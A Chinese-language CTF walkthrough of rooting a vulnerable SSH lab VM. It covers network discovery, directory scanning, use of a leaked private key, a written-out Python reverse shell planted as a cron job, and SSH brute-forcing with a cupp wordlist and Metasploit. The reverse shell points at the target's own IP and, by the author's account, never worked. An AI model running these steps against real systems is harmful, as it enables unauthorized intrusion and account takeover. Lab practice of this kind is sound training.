前言
CTF系列之SSH服務滲透root主機靶場試驗。
小插曲
安裝靶場時除了差錯。說小也不小,害
原本在vmware裏安裝靶場,但是出現這樣的情況。
絕望,找了解決辦法,但是不適合我。我吐了,修修改改半天。還是不行。
還是先說這個解決辦法:
先將ova文件後綴改爲.rar
或者.zip
然後解壓該文件。會有兩個文件被解壓出來,分別是.ovf
和.vmdk
,修改.ovf
文件用記事本打開,修改這裏
然後再次嘗試打開,如果運氣好的話,就可以打開了。
但是我沒成功,於是開始自己瞎鼓搗。終於皇天不負有心人,搞了倆小時,終於給我整明白了。
下面是我的解決方法:
下載了Oracle VirtualBox這個軟件,又是一個虛擬機的軟件,對的。
當時想的是,既然它原本是Oracle VirtualBox的版本,那麼就下載個試試。然後成功了。可以打開虛擬靶場了。這目前是適合我的解決辦法。
當然,問題又來了。
靶機在Oracle VirtualBox上,kali在vmware上,😂😂😂😂這他喵怎麼探測到靶機的IP啊。這個問題就是我頭疼了將近倆小時的問題。至於探測方法以及設置問題在下面。
實驗前的準備
探測IP
設置問題,
vmware中
虛擬網絡編輯器
可以根據自己的設置來,然後點擊應用。
然後在kali的虛擬機設置裏面設置橋接
Oracle VirtualBox中
設置成和kali的一樣的。然後就大功告成了。
進kali探測IP地址就行了。
ifconfig
發現kali的IP是192.168.1.6
然後輸入
netdiscover -r 192.168.1.1/24
就是它了。然後nmap進一步探測信息查看是否正確
好了,證據確鑿,就是它了。
靶機IP:192.168.1.5
實驗開始
拿到第一個用戶權限
探測靶場全部信息
nmap -A -v 192.168.1.5
探測靶場的操作系統類型與版本
nmap -O 192.168.1.5
分析探測結果
針對ssh服務的22號端口。
考慮:
-
1、暴力破解
-
2、私鑰泄露(私鑰有沒有對應的密碼。是否可以找到私鑰的用戶名)
對於開放http服務的80端口或者其他端口的靶場
優先考慮: -
1、通過瀏覽器訪問對應的靶場http服務,如http://靶場IP地址:http服務端口
-
2、使用探測工具對http的目錄進行探測,如dirb http://靶場IP地址:http服務端口/
特別注意:特殊端口(大於1024的端口)
先繼續
挖掘敏感信息
dirb http://192.168.1.5/
然後探測出來一堆
然後從第一個開始進行訪問。運氣不錯,第二個就得到了這麼多信息。再深入查看(還是挨個查看)
然後發現了這個名字很奇怪的txt文本有東西,是rsa
然後就到解析網站解析了一番,傳送門
然後使用nikto掃描器來挖掘敏感信息
nikto -host 192.168.1.5
特別注意config等特殊敏感文件,要細讀掃描的結果。挖掘可以利用的敏感信息;
利用信息繼續進行。
將私鑰文件下載到桌面上,方便操作。
wget "http://192.168.1.5/icons/VDSoyuAXiO.txt"
然後改個名
然後,查看id_rsa文件的權限,進行提權
利用私鑰嘗試登錄服務器
ssh -i id_rsa [email protected]
其中martin是上面已經得到的一個可能的用戶名。
可以看到已經連接成功
然後將能看到的目錄下的文件全列出來找一遍
現在相當於拿到了第一個用戶了。
滲透root用戶
一般flag會在root用戶和對應的用戶組。
使用以下幾條命令進行查看信息。所以這個時候應該是提權。
cat /etc/passwd #查看所有用戶的列表
cat /etc/group #查看用戶組
find / -user 用戶名 #查看屬於某些用戶的文件
/tmp #查看緩衝文件目錄
查看過之後也沒發現什麼特別的信息,
不過發現幾個用戶。
深入挖掘
通過 /etc/crontab 文件,設定系統定期執行的任務,編輯,需要root權限。不同的用戶都可以有不同的定時任務。
cat /etc/crontab 挖掘其他用戶是否有定時任務,並查看對應的任務內容。執行的任務肯定對應靶場機器的某個文件。
如果在/etc/crontab 下有某個用戶的定時計劃文件,但是具體目錄下沒有這個定時執行文件,可以自行創建反彈shell,然後netcat執行監聽獲取對應用戶的權限。
如果有定時執行的文件,可以切換到對應的目錄,查看對應的權限,查看當前用戶是否具有讀寫權限。
看到這個文件,但是ls後什麼都沒發現。所以自己創建反彈shell然後改成這個名字,讓它定時執行。
查看空閒端口,隨便挑個進行偵聽,這裏我選擇4444端口。
查看佔用端口
nc -lpv [未佔用端口]
查看佔用端口
netstat -pantu
然後沒有佔用4444端口,那就可以使用。
自創反彈shell
#!/usr/bin/python
import socket,os,subprocess
s=socket.socket()
s.connect(("192.168.1.5",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
熟練使用vi命令真的重要。
再改成那個定時自動執行的文件的名字
提權,執行權限給它
chmod +x sekurity.py
進行偵聽端口後,程序是5分鐘執行一次,最多等待5分鐘就可以了。
但是我的沒有顯示,一直都是這個樣子
煩。重複執行好幾遍都沒成功,一直是這樣的。
吐了。看過教程,發現後面的步驟也沒啥了。就是查一下是不是root用戶,如果是,進一步探測,不是就放棄這個用戶,繼續下一個。
使用命令
#當前用戶名
whoami
#查看對應權限
id
#提權
su root
暴力破解
最後一個用戶,沒有其他辦法只能進行暴力破解,使用hydra、medusa等工具。
使用github上的一個工具創建字典
git clone htts://github.com/jeanphorn/common-password.git
cd common-password
#然後執行
./cupp.py -i
當然,如果是python3的話可能會出錯。我這裏使用python2版本執行就可以了。
python2 cupp.py -i
然後輸入要破解的用戶名,生成字典文件。
字典文件生成完畢,可以進行暴力破解,這裏使用metasploit破解ssh
msfconsole
-- msf> use auxiliary/scanner/ssh/ssh_login
--msf auxiliary(ssh_login) > set rhost 192.168.1.5
--msf auxiliary(ssh_login) > set username hadi
--msf auxiliary(ssh_login) > set pass_file hadi.txt[的路徑]
--msf auxiliary(ssh_login) > run
開始破解,破解之後是自動生成會話,可以使用終端
所以使用命令
python -c "import pty; pty.spawn('/bin/bash')"
就變成了和平時使用的終端一樣了。
然後提權
到這裏進入了root用戶
然後查找flag,一般是在root目錄下,所以直接進入root目錄,查看
得到flag
結束。
花了很長時間,學到的東西也很多。繼續努力啊。
文末寄語:
有些樂趣和人生際遇或許我們永遠不會有。然而正是在這些“得不到”和“有所得”之間,我們確立了自己在這個世界上的位置。——蕎麥